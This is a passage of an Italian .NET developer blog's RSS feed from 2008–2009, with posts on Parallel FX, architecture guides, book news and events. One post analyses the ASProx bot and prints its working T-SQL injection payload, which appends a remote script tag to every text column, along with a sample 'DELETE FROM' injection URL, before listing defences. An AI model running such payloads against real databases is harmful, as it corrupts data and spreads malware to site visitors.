FX</title><link>http://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx</link><pubDate>Mon, 18 May 2009 20:47:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2502" border="0" style="width:1px; height:1px;" /&gt;&lt;span lang="EN"&gt;&lt;p&gt;L'avvento dei sistemi hardware dotati di più core in grado di eseguire elaborazioni parallele sta radicalmente cambiando il modo di pensare, progettare e scrivere applicazioni. Per sfruttare al meglio le potenzialità offerte dai sistemi multicore, ai programmatori occorre poter disporre di una serie di API e di funzionalità nei tool di sviluppo tali da agevolare la gestione di logiche applicative parallele.&lt;/p&gt;&lt;p&gt;A questa esigenza rispondono il .NET Framework 4.0 e Visual Studio 2010, di cui è disponibile la versione Beta 1, come annunciato oggi nel suo blog da &lt;a href="http://blogs.msdn.com/somasegar/archive/2009/05/18/visual-studio-2010-and-net-fx-4-beta-1-ships.aspx" target="_blank"&gt;Somasegar&lt;/a&gt;, senior vice president per l'area dedicata ai tool di sviluppo in Microsoft Corp., e da tutti i componenti dello &lt;a href="http://www.aspitalia.com/focuson/1109/Disponibile-Beta-.NET-Framework-4.0-Visual-Studio-2010.aspx" target="_blank"&gt;staff di ASPItalia.com&lt;/a&gt; prima di me. Il &lt;strong&gt;Parallel FX&lt;/strong&gt; porta con sè una serie di estensioni e strumenti mirati a supportare lo sviluppo parallelo e a fornire un modello di programmazione che permetta di astrarre le logiche applicative dallo strato fisico sottostante.&lt;/p&gt;&lt;p&gt;Per costruire ed eseguire applicazioni parallele, Visual Studio 2010 include una serie di nuove librerie per sviluppare sia applicazioni managed sia applicazioni native in C++. Per quanto riguarda specificatamente il .NET Framework, le estensioni presenti nella versione 4.0 sono fondamentalmente tre:&lt;strong&gt; PLINQ (Parallel LINQ)&lt;/strong&gt;, &lt;strong&gt;Parallel Task Library (PTL)&lt;/strong&gt; e &lt;strong&gt;Coordination Data Structures (CDS)&lt;/strong&gt;. PLINQ rapprenta un modello dichiarativo per il parallelismo sui dati basato su LINQ. PTL fornisce un modello imperativo a supporto dell'elaborazione parallela sia di task applicativi che dei dati e un insieme di costrutti come, per esempio, Parallel.For o Parallel.ForEach, molto comodi per eseguire iterazioni rimappate su diverse unità di calcolo. CDS rappresenta un insieme di building block per la sincronizzazione che semplificano i meccanismi di comunicazione e inizializzazione nel codice.&lt;/p&gt;&lt;p&gt;Queste estensioni sono rivolte agli sviluppatori che usano codice managed come C# e Visual Basic o il nuovissimo F#. Tramite PLINQ diventa possibile rivedere le query LINQ-To-Objects esistenti nel codice attuale, ottenendo risultati in termini di performance davvero significativi. Con TPL diventa immediato introdurre meccanismi di parallelismo sui task e sui dati, o tramite la parallelizzazione dei costrutti iterativi nel codice o tramite la scomposizione di logiche composte in task più semplici schedulati ed eseguiti in parallelo.&lt;/p&gt;&lt;p&gt;A tutto questo si aggiunge il supporto in termini di funzionalità e strumenti fornito da Visual Studio 2010. I &lt;strong&gt;tool di debugging&lt;/strong&gt; si arricchiscono di due nuove toolwindow: &lt;strong&gt;Parallel Tasks&lt;/strong&gt; e &lt;strong&gt;Parallel Stacks&lt;/strong&gt;. La prima fornisce informazioni di runtime sui task creati dall'applicazione nell'elaborazione parallela, la seconda fornisce la visione dei call stack&amp;#xa0;di ciascun thread o task all'interno dell'applicazione. Oltre a queste nuove funzionalità Visual Studio 2010 include una serie di &lt;strong&gt;strumenti di profiling&lt;/strong&gt; per la visione del livello di utilizzo delle CPU e dei Core.&lt;/p&gt;&lt;p&gt;Per ulteriori informazioni rimanete sintonizzati su ASPItalia.com. Maggiori informazioni e le informazioni per il download sono disponibili nel nostro mini-sito dedicato al &lt;a href="http://netfx4.winfxitalia.com/"&gt;.NET Framework 4.0&lt;/a&gt;.&amp;#xa0;Nei prossimi mesi avremo modo di trattare in modo specifico tutte le novità di Visual Studio 2010, come siamo soliti fare ormai da tanti anni. Come dice sempre &lt;a href="http://blogs.aspitalia.com/sm15455" target="_blank"&gt;Stefano&lt;/a&gt;... Stay Tuned!&lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_3.5/" rel="tag"&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_4.0/" rel="tag"&gt;.NET Framework 4.0&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/LINQ/" rel="tag"&gt;LINQ&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Parallel_FX/" rel="tag"&gt;Parallel FX&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Studio/" rel="tag"&gt;Visual Studio&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx"&gt;&lt;em&gt;.NET Framework 4.0 Beta 1: Parallel FX&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>DotNet 4.0, .NET Framework, .NET Framework 3.5, .NET Framework 4.0, LINQ, Parallel FX, Visual Studio</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2502/.NET-Framework-4.0-Beta-1-Parallel-FX.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2502.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2502</trackback:ping></item><item><title>Guide sull&amp;#39;architettura delle applicazioni</title><link>http://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx</link><pubDate>Sun, 14 Dec 2008 18:13:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2442" border="0" style="width:1px; height:1px;" /&gt;&lt;p dir="ltr" style="MARGIN-RIGHT: 0px"&gt;Segnalazione per gli amanti delle tematiche architetturali... Su Codeplex da&amp;nbsp;un paio di settimane&amp;nbsp;sono disponibili &lt;a href="http://www.codeplex.com/AppArch" target="_blank"&gt;alcune guide in formato PDF a cura di Microsoft P&amp;amp;P&lt;/a&gt;&amp;nbsp;che&amp;nbsp;trattano le tematiche e le best practices relative all'architettura dei diversi tipi&amp;nbsp;di applicazioni:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch/Release/ProjectReleases.aspx?ReleaseId=19802" target="_blank"&gt;Web Application&amp;nbsp;Architecture Pocket Guide&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch" target="_blank"&gt;RIA Architecture Pocket Guide&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch/Release/ProjectReleases.aspx?ReleaseId=19800" target="_blank"&gt;Rich Client Architecture Pocket Guide&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codeplex.com/AppArch/Release/ProjectReleases.aspx?ReleaseId=19801" target="_blank"&gt;Service Architecture Pocket Guide&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Il numero di pagine&amp;nbsp;delle guide non&amp;nbsp;è eccessivo, pertanto si prestano ad essere lette facilmente. Inoltre la struttura dei contenuti è abbastanza schematica&amp;nbsp;per una facile comprensione. Gli argomenti trattati sono vari, ma mi pare di poter dire che i contenuti sono abbstanza completi, sebbene siano condensati in un numero di pagine limitate.&lt;/p&gt;&lt;p&gt;Se non sapete cosa leggere durante le vacanze di Natale, questi link possono fornire un utile spunto... Buona lettura!&amp;nbsp;:P&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Pattern/" rel="tag"&gt;Pattern&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx"&gt;&lt;em&gt;Guide sull&amp;#39;architettura delle applicazioni&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura, Pattern</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2442/Guide-Architettura-Applicazioni.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2442.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2442</trackback:ping></item><item><title>Intervista online</title><link>http://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx</link><pubDate>Fri, 05 Dec 2008 09:08:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2440" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Non capita tutti i giorni di essere intervistati... :)&lt;br /&gt;Grazie ad &lt;a href="http://blogs.technet.com/alead_msft/" target="_blank"&gt;Alessandro&lt;/a&gt; per l'&lt;a href="http://blogs.technet.com/alead_msft/archive/2008/12/05/intervista-ai-microsoft-mvp-riccardo-golia.aspx" target="_blank"&gt;intervista&lt;/a&gt; e per lo spazio&amp;nbsp;concessomi nel suo blog personale.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASP.NET_2.0_per_tutti/" rel="tag"&gt;ASP.NET 2.0 per tutti&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/" rel="tag"&gt;ASP.NET 3.5 per tutti&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Off_Topic/" rel="tag"&gt;Off Topic&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx"&gt;&lt;em&gt;Intervista online&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Ricky, ASP.NET 2.0 per tutti, ASP.NET 3.5 per tutti, ASPItalia.com, Off Topic</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2440/Intervista-Online.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2440.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2440</trackback:ping></item><item><title>Buon compleanno, ASPItalia.com!</title><link>http://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx</link><pubDate>Tue, 21 Oct 2008 06:31:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2410" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Tanti auguri ad ASPItalia.com per i suoi 10 anni di vita... Oggi si fa festa, tutti a Roma!&lt;/p&gt;&lt;p&gt;&lt;img alt="HAPPY BIRTHDAY" hspace="0" src="http://www.riccardogolia.it/aspitalia/blog/birthday.jpg" align="baseline" border="0" /&gt;&lt;/p&gt;&lt;p&gt;PS: tanti auguri anche a me oggi, ma non ditelo a nessuno! :P&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/10annidi/" rel="tag"&gt;10annidi&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx"&gt;&lt;em&gt;Buon compleanno, ASPItalia.com!&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com, 10annidi</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx</guid><slash:comments>9</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2410/Buon-Compleanno-ASPItalia.com.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2410.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2410</trackback:ping></item><item><title>Attacco XSS combinato con SQL-Injection</title><link>http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</link><pubDate>Fri, 25 Jul 2008 11:00:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2344" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre è così.&lt;/p&gt;&lt;p&gt;L'attacco è portato avanti da un bot noto col nome di &lt;a href="http://www.cio.com.au/index.php/id;552560972" target="_blank"&gt;ASProx&lt;/a&gt; che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica &lt;a href="http://xssworm.blogvis.com/23/xssworm/dns-fast-fluxing-are-you-protected-ca-experts-issue-warning-of-new-hacker-attack/"&gt;DNS Fast-Fluxing&lt;/a&gt; per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilità nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilità vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo &amp;quot;&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;quot;. Chiaramente il file &amp;quot;ngg.js&amp;quot; contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.&lt;/p&gt;&lt;p&gt;Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:&lt;/p&gt;&lt;p&gt;DECLARE @Table VARCHAR(255)&lt;br /&gt;DECLARE @Column VARCHAR(255)&lt;/p&gt;&lt;p&gt;DECLARE cur CURSOR FOR&lt;br /&gt;SELECT [SO].[Name], [SC].[Name]&lt;br /&gt;FROM sysobjects AS [SO], syscolumns AS [SC]&lt;br /&gt;WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND&lt;br /&gt;([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)&lt;/p&gt;&lt;p&gt;OPEN cur&lt;br /&gt;FETCH NEXT FROM cur INTO @Table,@Column &lt;/p&gt;&lt;p&gt;WHILE (@@FETCH_STATUS = 0)&lt;br /&gt;BEGIN&lt;br /&gt;EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;''')&lt;br /&gt;FETCH NEXT FROM cur INTO @Table, @Column&lt;br /&gt;END&lt;/p&gt;&lt;p&gt;CLOSE cur&lt;br /&gt;DEALLOCATE cur &lt;/p&gt;&lt;p&gt;Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag &amp;lt;script /&amp;gt;. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target è vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: &amp;quot;http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--&amp;quot;).&lt;/p&gt;&lt;p&gt;Per poter mitigare la vulnerabilità a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ciò che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: &amp;quot;SELECT * FROM Table1 WHERE Id=&amp;quot; + Request.QueryString[&amp;quot;id&amp;quot;]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se &amp;quot;id&amp;quot; deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.&lt;/p&gt;&lt;p&gt;Nonostante le innumerevoli circostanze in cui si è avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili &lt;a href="http://www.aspitalia.com/articoli/asp.net2/aspnet-security.aspx"&gt;qui&lt;/a&gt; e &lt;a href="http://www.aspitalia.com/articoli/asp.net2/aspnet-security-2.aspx" target="_blank"&gt;qui&lt;/a&gt;) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio è ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori! &lt;/p&gt;&lt;p&gt;&lt;strong&gt;LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Meditate, gente, meditate!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Security/" rel="tag"&gt;Security&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Scripting/" rel="tag"&gt;Scripting&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx"&gt;&lt;em&gt;Attacco XSS combinato con SQL-Injection&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura, Security, Scripting</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2344.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2344</trackback:ping></item><item><title>Slide e demo della mia sessione ai Community Days online</title><link>http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</link><pubDate>Fri, 11 Jul 2008 23:20:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2322" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ho messo da qualche minuto &lt;a href="http://www.communitydays.it/events/communitydays2008milano.aspx" target="_blank"&gt;online&lt;/a&gt; le demo mostrate alla mia sessione dei Community Days sulla creazione di applicazioni web (sia quella scritta in diretta, sia la versione 2.1 di Pubs), nonchè le slide che sono servite come cappello introduttivo (con tanto di schemino architetturale molto utile per i posteri... :P).&lt;/p&gt;&lt;p&gt;Ringrazio i numerosi partecipanti per essere intervenuti, per aver seguito la sessione fino alle 18:25 senza che nessuno se ne andasse via prima, per le innumerevoli domande, sia durante che dopo la sessione (visto che c'era gente non italiana, alla fine della sessione ho avuto modo di parlare una decina di minuti direttamente in inglese per farmi capire da chi si era fermato oltre).&lt;/p&gt;&lt;p&gt;Ringrazio i compari di sempre, quelli di ASPItalia.com e quelli di UGI, Microsoft per l'ospitalità e a tutti i partecipanti rinnovo l'invito a seguirci nei prossimi eventi che avremo modo di organizzare in futuro. Grazie a tutti e alla prossima.&lt;/p&gt;&lt;p&gt;P.S. Vorrei complimentarmi con Alessio, Marco e Ugo per il loro debutto come speaker. Sono stato molto contento nel vederli così spigliati, del resto non avevo dubbi... Complimenti a tutti e tre! Avanti così...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_3.5/" rel="tag"&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASP.NET/" rel="tag"&gt;ASP.NET&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASP.NET_3.5/" rel="tag"&gt;ASP.NET 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/LINQ/" rel="tag"&gt;LINQ&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/LINQ_to_SQL/" rel="tag"&gt;LINQ to SQL&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx"&gt;&lt;em&gt;Slide e demo della mia sessione ai Community Days online&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, .NET Framework, .NET Framework 3.5, Architettura, ASP.NET, ASP.NET 3.5, LINQ, LINQ to SQL</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</guid><slash:comments>2</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2322.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2322</trackback:ping></item><item><title>Arriva &amp;quot;ASP.NET 3.5 per tutti&amp;quot;</title><link>http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</link><pubDate>Wed, 02 Jul 2008 13:45:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2305" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ebbene si, lo ha già detto &lt;a href="http://blogs.aspitalia.com/daniele" target="_blank"&gt;Daniele&lt;/a&gt; &lt;a href="http://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx" target="_blank"&gt;qui&lt;/a&gt;, ma mi piace l'idea di poterlo annunciare pure io. Dopo il successo del nostro precedente libro, abbiamo deciso (&lt;a href="http://blogs.aspitalia.com/daniele" target="_blank"&gt;Daniele&lt;/a&gt;, &lt;a href="http://blogs.aspitalia.com/ricciolo" target="_blank"&gt;Ricciolo&lt;/a&gt;, &lt;a href="http://blogs.aspitalia.com/sm15455" target="_blank"&gt;Stefano&lt;/a&gt; ed io) di scrivere anche il seguito: &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;Il libro rappresenta un miglioramento di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, ma non si tratta semplicemente di un aggiornamento incrementale, bensì di un libro nuovo a tutti gli effetti. In esso troverete molte cose nuove, tra cui contenuti inediti relativi alla SP1 di ASP.NET 3.5 e non solo. Oltre a rivedere tutta la parte relativa a sintassi dei linguaggi, OOP &amp;amp; C., abbiamo inserito nel nuovo libro una sezione dedicata alla progettazione e distribuzione delle applicazioni web, affrontando problematiche relative alla sicurezza applicativa, alla strutturazione tramite layering, al deployment e alla configurazione.&lt;/p&gt;&lt;p&gt;Chi ha avuto modo di apprezzare la densità di contenuti e la concretezza di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, non potrà non apprezzare anche quanto andremo a pubblicare nel corso del prossimo ottobre. Il prezzo del nuovo libro sarà ancora una volta imbattibile, assolutamente fuori mercato (cioè basso) rispetto ad altri volumi di pari livello e dimensione.&lt;/p&gt;&lt;p&gt;Tutte le informazioni e una preview del TOC sono disponibili presso il &lt;a href="http://books.aspitalia.com/ASP.NET-3.5" target="_blank"&gt;minisito&lt;/a&gt; dedicato ad &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/" rel="tag"&gt;ASP.NET 3.5 per tutti&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx"&gt;&lt;em&gt;Arriva &amp;quot;ASP.NET 3.5 per tutti&amp;quot;&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Pubblicazioni, ASP.NET 3.5 per tutti</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</guid><slash:comments>3</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2305.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2305</trackback:ping></item><item><title>MVP Summit 2008</title><link>http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</link><pubDate>Tue, 22 Apr 2008 14:00:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2274" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Venerdì scorso sono rientrato dal MVP Summit 2008 tenutosi a Seattle nel corso della scorsa settimana. Per me era la seconda volta che andavo a Seattle per assistere all'evento in questione e posso dire che le mie aspettative personali sono state in generale soddisfatte. Infatti, rispetto all'anno scorso, dove tutto era nuovo e insolito e pertanto ho fatto un po' fatica ad orientarmi, mi sono posto come obiettivo quello di incontrare gente nuova, anche straniera, di conoscere persone e di approfondire la conoscenza di quelle già note (italiane e non). Per fortuna il mio inglese (anche se decisamente migliorabile) in questo mi ha aiutato non poco, rispetto allo scorso anno ho fatto passi da gigante. Ho avuto modo di incontare personaggi più o meno noti, ho salutato ScottGu e l'ho ringraziato per la prefazione al libro (con un anno di ritrado). E' stato molto contento di vederci tutti. Ho conosciuto alcuni membri del team di Silverlight, altri MVP di fama assoluta e ho rivisto con molto piacere Alessandro Catorcini, con cui siamo andati a pranzo insieme in pizzeria.&lt;/p&gt;&lt;p&gt;Il viaggio non è cominciato nel migliore dei modi, tanto per cambiare il mio bagaglio (come quello di altre 10 persone) non è arrivato e nei primi giorni ho dovuto arrangiarmi con il backup che mi ero messo nel bagaglio a mano. Per fronteggiare l'emergenza, mi sono dato allo shopping sfrenato con i soliti noti, Mauro, Davide, Alessandro e 